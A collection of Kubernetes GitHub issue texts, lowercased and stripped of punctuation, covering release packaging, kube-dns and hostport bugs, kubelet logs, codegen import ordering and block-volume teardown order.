we have a mix of styles in our current cluster creation pushing code. we should fix this soon after 1.0.    current state - apiserver - put into container, tar’d, uploaded to gcs, and curl’d into to cluster at kube-up time. - scheduler - put into container, tar’d, uploaded to gcs, and curl’d into to cluster at kube-up time. - controller-manager - put into container, tar’d, uploaded to gcs, and curl’d into to cluster at kube-up time. - kubelet, kube-proxy - n/a  run as binaries  - addons: kube2sky  dns , heapster, network-tester, etc - occasionally built, and pushed to gcr.io, with an ad-hoc version that doesn’t reliably correlate with any revision in git.    problems 1. difficult or impossible to get a consistent cluster  including addons  from source. 2. addons leave lingering dependencies  accidental push could break all cluster turnups . 3. also not possible to start a cluster using config + a set of containers already in gcr.io    desired state  build and version a complete set of containers, including addons. 1. for official releases, push to official registry and throw away the keys  or do the closest moral equivalent . this lets you start most of a cluster just with config files referencing the official containers for that version. 2. for unofficial releases, a choice:    1. push to cluster via gsutil/curl, like now.       1. cons: doesn’t work well for addons, which might need to run on any node.    2. push to a  potentially private  registry, under the user’s name, so that my dev containers can’t collide in name with yours  filed  8517 .       1. pros: code reuse with the official release method.    3. run a private registry in the cluster by default, and push to that.  bootstrapping problem to solve!        1. additional pro: no need for user to set up a private repo before using. 3. the build process then makes a set of config that references these containers.

https://github.com/kubernetes/kubernetes/blob/master/docs/getting-started-guides/gce.md  all environment variables should be listed  e.g. size of machine .

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubelet-serial-gce-e2e-ci/630/  failed:  k8s.io  memoryeviction  slow   serial   disruptive   when there is memory pressure should evict pods in the correct order  besteffort first, then burstable, then guaranteed  {e2enode suite}      /var/lib/jenkins/workspace/kubelet-serial-gce-e2e-ci/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/memory_eviction_test.go:220 burstable pod failed before best effort pod expected     <api.podphase>: failed not to equal     <api.podphase>: failed /var/lib/jenkins/workspace/kubelet-serial-gce-e2e-ci/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/memory_eviction_test.go:206

kubectl depends on several util libraries, and they need to be moved out of the k/kubernetes repo for kubectl to move out without vendoring k/kubernetes.  we are blocked on making progress on this until we have a home for the utils.\r \r @bgrant0607 @lavalamp @smarterclayton @thockin @deads2k @liggitt would love to get your perspective.\r \r   move to api-machinery first.  eventually move all utils in api-machinery to another repo.\r - a number of common utilities have already moved to api-machinery.  we should be consistent with where they are moved to.\r - everything can depend on api-machinery.\r - doesn't block on setting up a new repo and process for vendoring into kubernetes/kubernetes\r \r   move to another util repo\r - simple proof of concept for moving something out of the main repo without tackling some of the harder problems  e2e testing, needing to transactionally update multiple repos \r - provides a stdlib for other go projects to use without using kubernetes libraries\r - won't need to update go packages 2x  once for each move \r \r list of util packages:\r \r - k8s.io/kubernetes/pkg/util\r - k8s.io/kubernetes/pkg/util/crlf\r - k8s.io/kubernetes/pkg/util/exec\r - k8s.io/kubernetes/pkg/util/i18n\r   - k8s.io/kubernetes/pkg/generated\r - k8s.io/kubernetes/pkg/util/interrupt\r - k8s.io/kubernetes/pkg/util/logs\r - k8s.io/kubernetes/pkg/util/slice\r - k8s.io/kubernetes/pkg/util/term\r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r if i deploy a large cluster 100-150 nodes, then kube-dns doesn't get into ready state. it failes with message  error syncing pod, skipping: failed to \ createpodsandbox\  for \ kube-dns-3913472980-c2506_kube-system ab0a9011-9de0-11e7-93ea-fa163e11ce46 \  with createpodsandboxerror: \ createpodsandbox for pod \\\ kube-dns-3913472980-c2506_kube-system ab0a9011-9de0-11e7-93ea-fa163e11ce46 \\\  failed: rpc error: code = 4 desc = context deadline exceeded\  \r all other pods ready: weave, kube-proxy, api-server etc. becomes ready\r always succeeds with a small cluster of 10 nodes \r \r    \r kubectl describe pods kube-dns-3913472980-c2506 -n kube-system\r name:\t\tkube-dns-3913472980-c2506\r namespace:\tkube-system\r node:\t\ticl-node-162/10.0.0.50\r start time:\twed, 20 sep 2017 08:56:17 +0000\r labels:\t\tk8s-app=kube-dns\r \t\tpod-template-hash=3913472980\r annotations:\tkubernetes.io/created-by={\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicaset\ ,\ namespace\ :\ kube-system\ ,\ name\ :\ kube-dns-3913472980\ ,\ uid\ :\ aaf5bba6-9de0-11e7-93ea-fa163e11...\r \t\tscheduler.alpha.kubernetes.io/critical-pod=\r status:\t\tpending\r ip:\r controllers:\treplicaset/kube-dns-3913472980\r containers:\r   kubedns:\r     container id:\r     image:\t\tgcr.io/google_containers/k8s-dns-kube-dns-amd64:1.14.1\r     image id:\r     ports:\t\t10053/udp, 10053/tcp, 10055/tcp\r     args:\r       --domain=cluster.local.\r       --dns-port=10053\r       --config-dir=/kube-dns-config\r       --v=2\r     state:\t\twaiting\r       reason:\t\tcontainercreating\r     ready:\t\tfalse\r     restart count:\t0\r     limits:\r       memory:\t170mi\r     requests:\r       cpu:\t100m\r       memory:\t70mi\r     liveness:\thttp-get http://:10054/healthcheck/kubedns delay=60s timeout=5s period=10s  success=1  failure=5\r     readiness:\thttp-get http://:8081/readiness delay=3s timeout=5s period=10s  success=1  failure=3\r     environment:\r       prometheus_port:\t10055\r     mounts:\r       /kube-dns-config from kube-dns-config  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from kube-dns-token-h1wmd  ro \r   dnsmasq:\r     container id:\r     image:\t\tgcr.io/google_containers/k8s-dns-dnsmasq-nanny-amd64:1.14.1\r     image id:\r     ports:\t\t53/udp, 53/tcp\r     args:\r       -v=2\r       -logtostderr\r       -configdir=/etc/k8s/dns/dnsmasq-nanny\r       -restartdnsmasq=true\r       --\r       -k\r       --cache-size=1000\r       --log-facility=-\r       --server=/cluster.local/127.0.0.1 10053\r       --server=/in-addr.arpa/127.0.0.1 10053\r       --server=/ip6.arpa/127.0.0.1 10053\r     state:\t\twaiting\r       reason:\t\tcontainercreating\r     ready:\t\tfalse\r     restart count:\t0\r     requests:\r       cpu:\t\t150m\r       memory:\t\t20mi\r     liveness:\t\thttp-get http://:10054/healthcheck/dnsmasq delay=60s timeout=5s period=10s  success=1  failure=5\r     environment:\t<none>\r     mounts:\r       /etc/k8s/dns/dnsmasq-nanny from kube-dns-config  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from kube-dns-token-h1wmd  ro \r   sidecar:\r     container id:\r     image:\t\tgcr.io/google_containers/k8s-dns-sidecar-amd64:1.14.1\r     image id:\r     port:\t\t10054/tcp\r     args:\r       --v=2\r       --logtostderr\r       --probe=kubedns,127.0.0.1:10053,kubernetes.default.svc.cluster.local,5,a\r       --probe=dnsmasq,127.0.0.1:53,kubernetes.default.svc.cluster.local,5,a\r     state:\t\twaiting\r       reason:\t\tcontainercreating\r     ready:\t\tfalse\r     restart count:\t0\r     requests:\r       cpu:\t\t10m\r       memory:\t\t20mi\r     liveness:\t\thttp-get http://:10054/metrics delay=60s timeout=5s period=10s  success=1  failure=5\r     environment:\t<none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from kube-dns-token-h1wmd  ro \r conditions:\r   type\t\tstatus\r   initialized \ttrue\r   ready \tfalse\r   podscheduled \ttrue\r volumes:\r   kube-dns-config:\r     type:\tconfigmap  a volume populated by a configmap \r     name:\tkube-dns\r     optional:\ttrue\r   kube-dns-token-h1wmd:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tkube-dns-token-h1wmd\r     optional:\tfalse\r qos class:\tburstable\r node-selectors:\t<none>\r tolerations:\tcriticaladdonsonly=:exists\r \t\tnode-role.kubernetes.io/master=:noschedule\r \t\tnode.alpha.kubernetes.io/notready=:exists:noexecute for 300s\r \t\tnode.alpha.kubernetes.io/unreachable=:exists:noexecute for 300s\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t\t-------\r   19m\t\t13m\t\t26\tdefault-scheduler\t\t\twarning\t\tfailedscheduling\tno nodes available to schedule pods\r   13m\t\t13m\t\t1\tdefault-scheduler\t\t\tnormal\t\tscheduled\t\tsuccessfully assigned kube-dns-3913472980-c2506 to icl-node-162\r   9m\t\t9m\t\t1\tkubelet, icl-node-162\t\t\twarning\t\tfailedsync\t\terror syncing pod, skipping: failed to \ createpodsandbox\  for \ kube-dns-3913472980-c2506_kube-system ab0a9011-9de0-11e7-93ea-fa163e11ce46 \  with createpodsandboxerror: \ createpodsandbox for pod \\\ kube-dns-3913472980-c2506_kube-system ab0a9011-9de0-11e7-93ea-fa163e11ce46 \\\  failed: rpc error: code = 4 desc = context deadline exceeded\ \r \r   7m\t27s\t29\tkubelet, icl-node-162\t\twarning\tfailedsync\terror syncing pod, skipping: rpc error: code = 4 desc = context deadline exceeded\r      \r \r \r   what you expected to happen  :\r kube-dns to become ready\r \r   how to reproduce it  as minimally and precisely as possible   :\r i deployed a 140 node cluster on openstack with kubeadm 1.6.4\r weave 1.9.8 installs ok and gets into ready state on all nodes.\r same problem with weave 2.0.4 installs ok and gets into ready state on all nodes.\r \r   anything else we need to know?  :\r i dont understand the kube-dns error message - doesn't make me know where to look for problem\r \r   environment  :\r - kubernetes version  use  kubectl version  : kubeadm 1.6.4\r - cloud provider or hardware configuration  : openstack\r - os  e.g. from /etc/os-release : ubuntu 16.04 on all nodes\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:

codegen produces code that is not stable under goimports, which makes life harder for ci / for checking it in to the repo.\r \r for example:\r \r    \r > pkg/client/informers/externalversions/factory.go\r @@ -19,16 +19,15 @@ limitations under the license.\r  package externalversions\r  \r  import  \r -       reflect \ reflect\ \r -       sync \ sync\ \r -       time \ time\ \r -\r ...\r         runtime \ k8s.io/apimachinery/pkg/runtime\ \r         schema \ k8s.io/apimachinery/pkg/runtime/schema\ \r         cache \ k8s.io/client-go/tools/cache\ \r +       reflect \ reflect\ \r +       sync \ sync\ \r +       time \ time\ \r   \r    \r \r the system imports should be printed before other imports, with a single blank line.\r \r i suspect that aliasing a package to the same name will likely be frowned upon in future as well...\r \r @kubernetes/sig-api-machinery-bugs

ref: https://github.com/kubernetes/kubernetes/pull/51698 and https://github.com/kubernetes/community/pull/939\r \r an e2e test should be added, and the default should be updated.\r \r /assign @rphillips \r \r cc @kubernetes/sig-cluster-lifecycle-feature-requests @kubernetes/sig-api-machinery-pr-reviews

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r it is possible for sandbox gc to close a hostport that is held open by kubelet, even though that hostport is in use by a running pod.\r \r   what you expected to happen  :\r \r sandbox gc should only close hostports if they were opened by kubelet on behalf of the sandbox in question.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r this is not easy to reproduce because i believe it requires a preceding error tearing down pod networking. i think it goes something like this:\r \r 1. pod a specifying hostport 1234 is started. kubelet opens the port to make sure it isn't in use, and installs nat mappings that direct traffic to pod a.\r 1. pod a is terminated by a deployment upgrade\r 1. pod b specifying hostport 1234 is started. kubelet opens the port to make sure it isn't in use, and installs nat mappings that direct traffic to pod b.\r 1. sandbox gc for pod a closes hostport 1234\r \r i suspect the sandbox gc kicking in is contingent on the teardown for pod a not completing successfully for some reason.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.5\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : 4.4.0\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r 1   kubectl get --help  doesn't list  vms, vmrs and ovms  as resources. but it lists  pods , for example. why so? \r 2   vms, vmrs, and ovms  are not listed in  kubectl describe --help  too.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r kubectl get --help\r kubectl describe --help\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r checked for two versions:\r 1   client version: version.info{major:\ \ , minor:\ \ , gitversion:\ v1.9.1+a0ce1bc657\ , gitcommit:\ a0ce1bc\ , gittreestate:\ clean\ , builddate:\ 2018-01-17t20:11:54z\ , goversion:\ go1.9\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r 2  client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6+a08f5eeb62\ , gitcommit:\ c84beff\ , gittreestate:\ clean\ , builddate:\ 2017-11-29t16:29:01z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r openstack instance\r - os  e.g. from /etc/os-release :\r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r   \r \r \r   what happened  :\r k8s: v1.7.9\r \r 3 masters \r \r one master report not ready\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.9\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : ubuntu 16.04 lts\r master log attached and etcd attached too.\r \r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.156786    7451 file.go:48  watching path \ /etc/kubernetes/manifests\ \r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.156795    7451 kubelet.go:275  watching apiserver\r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : e0429 21:56:27.158269    7451 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:402: failed to list  v1.service: get https://10.240.255.5:443/api/v1/services?resourceversion=0: dial tcp 10.240.255.5:443: getsockopt: connection refused\r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : e0429 21:56:27.158275    7451 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.240.255.5:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-25537073-0&resourceversion=0: dial tcp 10.240.255.5:443: getsockopt: connection refused\r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : e0429 21:56:27.158505    7451 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:410: failed to list  v1.node: get https://10.240.255.5:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-25537073-0&resourceversion=0: dial tcp 10.240.255.5:443: getsockopt: connection refused\r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.161754    7451 kubelet.go:511  hairpin mode set to \ promiscuous-bridge\ \r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.177126    7451 plugins.go:194  loaded network plugin \ kubenet\ \r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : w0429 21:56:27.178639    7451 cni.go:189  unable to update cni config: no networks found in /etc/cni/net.d\r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.195432    7451 plugins.go:194  loaded network plugin \ kubenet\ \r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.195460    7451 docker_service.go:208  docker cri networking managed by kubenet\r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.206675    7451 docker_service.go:225  setting cgroupdriver to cgroupfs\r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.271208    7451 docker_legacy.go:151  no legacy containers found, stop performing legacy cleanup.\r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.271253    7451 kubelet.go:598  starting the grpc server for the docker cri shim.\r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.271271    7451 docker_server.go:51  start dockershim grpc server\r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.284210    7451 remote_runtime.go:42  connecting to runtime service unix:///var/run/dockershim.sock\r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.284814    7451 azure.go:174  azure: using client_id+client_secret to retrieve access token\r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.287144    7451 kuberuntime_manager.go:172  container runtime docker initialized, version: 1.13.1, apiversion: 1.26.0\r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.287532    7451 plugins.go:370  loaded volume plugin \ kubernetes.io/aws-ebs\ \r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.287547    7451 plugins.go:370  loaded volume plugin \ kubernetes.io/empty-dir\ \r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.287557    7451 plugins.go:370  loaded volume plugin \ kubernetes.io/gce-pd\ \r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.287567    7451 plugins.go:370  loaded volume plugin \ kubernetes.io/git-repo\ \r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.287579    7451 plugins.go:370  loaded volume plugin \ kubernetes.io/host-path\ \r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.287589    7451 plugins.go:370  loaded volume plugin \ kubernetes.io/nfs\ \r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.287601    7451 plugins.go:370  loaded volume plugin \ kubernetes.io/secret\ \r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.287611    7451 plugins.go:370  loaded volume plugin \ kubernetes.io/iscsi\ \r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.287630    7451 plugins.go:370  loaded volume plugin \ kubernetes.io/glusterfs\ \r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.287640    7451 plugins.go:370  loaded volume plugin \ kubernetes.io/rbd\ \r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.287650    7451 plugins.go:370  loaded volume plugin \ kubernetes.io/cinder\ \r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.287660    7451 plugins.go:370  loaded volume plugin \ kubernetes.io/quobyte\ \r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.287670    7451 plugins.go:370  loaded volume plugin \ kubernetes.io/cephfs\ \r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.287682    7451 plugins.go:370  loaded volume plugin \ kubernetes.io/downward-api\ \r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.287692    7451 plugins.go:370  loaded volume plugin \ kubernetes.io/fc\ \r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.287701    7451 plugins.go:370  loaded volume plugin \ kubernetes.io/flocker\ \r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.287711    7451 plugins.go:370  loaded volume plugin \ kubernetes.io/azure-file\ \r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.287737    7451 plugins.go:370  loaded volume plugin \ kubernetes.io/configmap\ \r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.287750    7451 plugins.go:370  loaded volume plugin \ kubernetes.io/vsphere-volume\ \r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.287760    7451 plugins.go:370  loaded volume plugin \ kubernetes.io/azure-disk\ \r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.287770    7451 plugins.go:370  loaded volume plugin \ kubernetes.io/photon-pd\ \r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.287780    7451 plugins.go:370  loaded volume plugin \ kubernetes.io/projected\ \r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.287790    7451 plugins.go:370  loaded volume plugin \ kubernetes.io/portworx-volume\ \r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.287801    7451 plugins.go:370  loaded volume plugin \ kubernetes.io/scaleio\ \r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.287811    7451 plugins.go:370  loaded volume plugin \ kubernetes.io/local-volume\ \r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.287821    7451 plugins.go:370  loaded volume plugin \ kubernetes.io/storageos\ \r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.289177    7451 server.go:957  started kubelet v1.7.9\r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : e0429 21:56:27.289224    7451 kubelet.go:1234  image garbage collection failed once. stats initialization may not have completed yet: unable to find data for container /\r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.289549    7451 kubelet_node_status.go:247  setting node annotation to enable volume controller attach/detach\r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.289731    7451 server.go:152  starting to listen read-only on 0.0.0.0:10255\r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.290175    7451 server.go:132  starting to listen on 0.0.0.0:10250\r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : e0429 21:56:27.291087    7451 event.go:209  unable to write event: 'post https://10.240.255.5:443/api/v1/namespaces/default/events: dial tcp 10.240.255.5:443: getsockopt: connection refused'  may retry after sleeping \r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.291168    7451 server.go:310  adding debug handlers to kubelet server.\r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.706151    7451 kubelet_node_status.go:303  adding node label from cloud provider: beta.kubernetes.io/instance-type=standard_ds4_v2\r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.711917    7451 kubelet_node_status.go:314  adding node label from cloud provider: failure-domain.beta.kubernetes.io/zone=0\r apr 29 21:56:27 k8s-master-25537073-0 docker 7368 : i0429 21:56:27.711939    7451 kubelet_node_status.go:318  adding node label from cloud provider: failure-domain.beta.kubernetes.io/region=westus2\r apr 29 21:56:28 k8s-master-25537073-0 docker 7368 : e0429 21:56:28.158862    7451 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:402: failed to list  v1.service: get https://10.240.255.5:443/api/v1/services?resourceversion=0: dial tcp 10.240.255.5:443: getsockopt: connection refused\r apr 29 21:56:28 k8s-master-25537073-0 docker 7368 : e0429 21:56:28.159981    7451 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.240.255.5:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-25537073-0&resourceversion=0: dial tcp 10.240.255.5:443: getsockopt: connection refused\r apr 29 21:56:28 k8s-master-25537073-0 docker 7368 : e0429 21:56:28.161118    7451 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:410: failed to list  v1.node: get https://10.240.255.5:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-25537073-0&resourceversion=0: dial tcp 10.240.255.5:443: getsockopt: connection refused\r apr 29 21:56:29 k8s-master-25537073-0 docker 7368 : e0429 21:56:29.159480    7451 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:402: failed to list  v1.service: get https://10.240.255.5:443/api/v1/services?resourceversion=0: dial tcp 10.240.255.5:443: getsockopt: connection refused\r apr 29 21:56:29 k8s-master-25537073-0 docker 7368 : e0429 21:56:29.160415    7451 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.240.255.5:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-25537073-0&resourceversion=0: dial tcp 10.240.255.5:443: getsockopt: connection refused\r apr 29 21:56:29 k8s-master-25537073-0 docker 7368 : e0429 21:56:29.161575    7451 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:410: failed to list  v1.node: get https://10.240.255.5:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-25537073-0&resourceversion=0: dial tcp 10.240.255.5:443: getsockopt: connection refused\r apr 29 21:56:30 k8s-master-25537073-0 docker 7368 : e0429 21:56:30.160116    7451 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:402: failed to list  v1.service: get https://10.240.255.5:443/api/v1/services?resourceversion=0: dial tcp 10.240.255.5:443: getsockopt: connection refused\r apr 29 21:56:30 k8s-master-25537073-0 docker 7368 : e0429 21:56:30.161004    7451 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.240.255.5:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-25537073-0&resourceversion=0: dial tcp 10.240.255.5:443: getsockopt: connection refused\r apr 29 21:56:30 k8s-master-25537073-0 docker 7368 : e0429 21:56:30.162064    7451 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:410: failed to list  v1.node: get https://10.240.255.5:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-25537073-0&resourceversion=0: dial tcp 10.240.255.5:443: getsockopt: connection refused\r \r system pod showed nodelost or unknown error\r

is this a bug report or feature request?  :\r  \r   what you expected to happen  :\r \r - current call sequence of     unmapdevicefunc     https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/util/operationexecutor/operation_generator.go l1069  generated by    generateunmapdevicefunc    is as follows:\r \r    1  check that symlink doesn't exist in globalmappath to ensure that no one is accessing a device to detach \r    2  call    teardowndevice    for driver to detach the device from the node\r    3  delete globalmappath\r    4  delete descriptor lock by removing loop device\r \r for backend storage that can't detach a device while descriptor lock is held, the order of calling  2  and  4  makes problem.\r as a workaround,  rbd driver release the descriptor lock inside  2  before detaching a device  https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/rbd/rbd.go l962 .\r this makes difficult to implement    teardowndevice    properly for csi driver that can work with all backend storage, because it needs to handle both backend which requires descriptor lock to be released before detaching a device and backend which doesn't requires it.\r \r - this issue should be resolved by changing the sequense as follows:\r \r    1  check that symlink doesn't exist in globalmappath to ensure that no one is accessing a device to detach \r    2  delete descriptor lock by removing loop device\r    3  call    teardowndevice    for driver to detach the device from the node\r    4  delete globalmappath\r \r note that the issue of failure in releasing descriptor lock in    unmapdevicefunc   , which is described in local attach drivers'    teardowndevice     comments  https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/iscsi/iscsi_util.go l673 , should be resolved now. because in current implementation of    mapvolumefunc   ,  taking file descriptor lock  https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/util/operationexecutor/operation_generator.go l912  and  updating    volumetomount     https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/util/operationexecutor/operation_generator.go l919  are done to the same    devicepath   . therefore, there should be no need to release descriptor lock inside    teardowndevice   .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run below e2e tests on environment with    blockvolume=true   \r   -    --ginkgo.focus=\ in-tree. iscsi. pre-provision. block. volumemode. should create. \    \r   -    --ginkgo.focus=\ in-tree. rbd. pre-provision. block. volumemode. should create. \    \r \r   anything else we need to know?  :\r  \r this issue is opened as a separated issue from https://github.com/kubernetes/kubernetes/pull/68635 \r csi drivers that requires the descriptor lock to be release before detaching device won't work well on    teardowndevice   , until this issue is fixed.\r \r   environment  :\r - kubernetes version  use  kubectl version  :      kubectl version\r client version: version.info{major:\ 1\ , minor:\ 13+\ , gitversion:\ v1.13.0-alpha.0.1580+07e81cb8ff590d-dirty\ , gitcommit:\ 07e81cb8ff590d096a61e951a3e6b4fc9076fb08\ , gittreestate:\ dirty\ , builddate:\ 2018-09-26t19:23:23z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13+\ , gitversion:\ v1.13.0-alpha.0.1580+07e81cb8ff590d-dirty\ , gitcommit:\ 07e81cb8ff590d096a61e951a3e6b4fc9076fb08\ , gittreestate:\ dirty\ , builddate:\ 2018-09-26t19:23:23z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }   \r - cloud provider or hardware configuration: kvm\r - os  e.g. from /etc/os-release :    fedora release 27  twenty seven    \r - kernel  e.g.  uname -a  :    linux csi-k8s 4.13.9-300.fc27.x86_64  1 smp mon oct 23 13:41:58 utc 2017 x86_64 x86_64 x86_64 gnu/linux   \r - install tools:    local-up-cluster.sh   \r - others:\r

